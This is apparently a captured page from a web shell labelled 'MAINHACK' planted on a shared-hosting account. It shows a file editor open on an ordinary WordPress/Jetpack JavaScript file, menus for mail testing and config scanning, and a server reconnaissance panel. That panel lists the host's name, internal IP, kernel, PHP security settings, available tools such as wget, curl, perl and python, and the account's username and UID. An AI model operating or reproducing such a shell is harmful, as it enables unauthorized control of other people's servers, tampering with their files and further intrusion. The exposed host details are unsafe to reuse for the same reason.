[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: mods.js
/* global pagenow, ajaxurl, CalypsoifyOpts */ ( function ( $ ) { $( window ).load( function () { // On Plugins.php if ( 'plugins' === pagenow ) { // pagenow === $current_screen->id // Remove | and () from the plugins filter bar $.each( $( 'ul.subsubsub li' ), function ( i, el ) { var li = $( el ); li.html( li.html().replace( '|', '' ).replace( '(', '' ).replace( ')', '' ) ); } ); // Add in the AJAX-y goodness for toggling autoupdates. $( 'input.autoupdate-toggle' ).change( function ( event ) { var el = event.target; el.disabled = true; el.classList.add( 'is-toggling' ); jQuery.post( ajaxurl, { action: 'jetpack_toggle_autoupdate', type: 'plugins', slug: el.dataset.slug, active: el.checked, _wpnonce: CalypsoifyOpts.nonces.autoupdate_plugins, }, function () { // Add something to test and confirm that `el.dataset.slug` is missing from `response.data` ? el.disabled = false; el.classList.remove( 'is-toggling' ); } ); } ); } $( '#wp-admin-bar-root-default' ).on( 'click', 'li', function ( event ) { location.href = $( event.target ).closest( 'a' ).attr( 'href' ); } ); $( '#wp-admin-bar-top-secondary' ).on( 'click', 'li#wp-admin-bar-my-account', function ( event ) { location.href = $( event.target ).closest( 'a' ).attr( 'href' ); } ); if ( document && document.location && document.location.search ) { var params_array = document.location.search.substr( 1 ).split( '&' ), params_object = {}, body = $( document.body ), i, key_value, pluginEl; if ( params_array && params_array.length ) { for ( i = 0; i < params_array.length; i++ ) { key_value = params_array[ i ].split( '=' ); params_object[ key_value[ 0 ] ] = key_value[ 1 ]; } if ( params_object.s && params_object[ 'modal-mode' ] && params_object.plugin ) { pluginEl = $( '.plugin-card-' + params_object.plugin + ' .thickbox.open-plugin-details-modal' ); if ( pluginEl && pluginEl.length ) { pluginEl.click(); } } } body.on( 'thickbox:iframe:loaded', function () { $( '#TB_window' ).on( 'click', 'button#TB_closeWindowButton', function () { $( '#TB_closeWindowButton' ).click(); } ); } ); } } ); } )( jQuery );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129